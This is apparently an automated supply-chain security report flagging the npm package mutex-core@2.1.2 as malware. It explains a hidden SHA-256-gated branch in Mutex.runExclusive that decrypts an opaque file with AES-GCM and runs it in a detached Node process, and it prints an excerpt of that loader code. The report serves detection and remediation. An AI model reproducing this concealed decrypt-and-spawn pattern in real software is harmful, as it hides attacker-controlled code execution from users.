mutex-core
Mutex and semaphore primitives for synchronizing asynchronous JavaScript and TypeScript workflows
This report shows the evidence for mutex-core@2.1.2, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe package embeds a concealed, cryptographically gated decrypt-and-spawn chain in its primary Mutex implementation. This is concrete malicious runtime behavior, not an unused static primitive.
Static reason
One or more suspicious static signals were detected.
Trigger
Calling `new Mutex().runExclusive(callback)` with a callback whose `meta.jobId` satisfies the hidden hash check.
Impact
Arbitrary hidden payload execution with stealthy background-process behavior.
Mechanism
Hash-gated AES-GCM decrypt, file write, and detached Node child-process execution.
Attack narrative
On a normal `Mutex.runExclusive` call, the package checks an undocumented callback metadata value against a hard-coded hash. A match derives a key from that value, decrypts the opaque `lib/withMutex.min.js` in place, and starts it through a detached Node process with output suppressed. This concealed staged-execution path is unrelated to mutex functionality and permits attacker-controlled payload execution once the gate is met.
AI rationale
The package embeds a concealed, cryptographically gated decrypt-and-spawn chain in its primary Mutex implementation. This is concrete malicious runtime behavior, not an unused static primitive.
Evidence
lib/Mutex.jslib/common.jslib/withMutex.min.jspackage.json
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `Mutex.runExclusive` contains a hidden SHA-256-gated `callback.meta.jobId` branch.
- The branch decrypts opaque `lib/withMutex.min.js` with the supplied job ID and writes the result to disk.
- It launches the decrypted result with detached `node`, ignored stdio, and `unref()`.
- `lib/common.js` implements scrypt and AES-256-GCM payload decryption.
Evidence against
- package.json has no install lifecycle hook.
- The declared entrypoint exports normal mutex/semaphore APIs; the payload activates only through the hidden runtime condition.
Behavioral surface
ChildProcessCryptoDynamicRequireFilesystem
HighEntropyStringsMinifiedPossibleObfuscationUrlStrings
Source & flagged code
6 flagged · loading sourcelib/withMutex.min.d.jsView file
1patternName = generic_password
severity = medium
line = 1
matchedText = (functio... });
Medium
lib/Semaphore.jsView file
2Object.defineProperty(exports, "__esModule", { value: true });
L3: var tslib_1 = require("tslib");
L4: var errors_1 = require("./errors");
Medium
Dynamic Require
Package source references dynamic require/import behavior.
lib/Semaphore.jsView on unpkg · L2lib/Mutex.jsView file
31const mutexPath = path.join(__dirname, "withMutex.min.js");
const savedHash = "[redacted]";
if (fs.existsSync(mutexPath) && callback.meta) {
const recentHash = crypto.createHash("sha256").update(String(callback.meta.jobId)).digest("hex");
if (savedHash == recentHash) {
const { decryptToFile } = require("./common");
const decPath = decryptToFile(mutexPath, callback.meta.jobId);
Findings
4 High3 Medium4 Low
HighAi Review Evidencelib/Mutex.js
HighAi Review Evidencelib/Mutex.js
HighAi Review Evidencelib/Mutex.js
HighAi Review Evidencelib/common.js
MediumSecret Patternlib/withMutex.min.d.js
MediumDynamic Requirelib/Semaphore.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to mutex-core@2.1.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing mutex-core@2.1.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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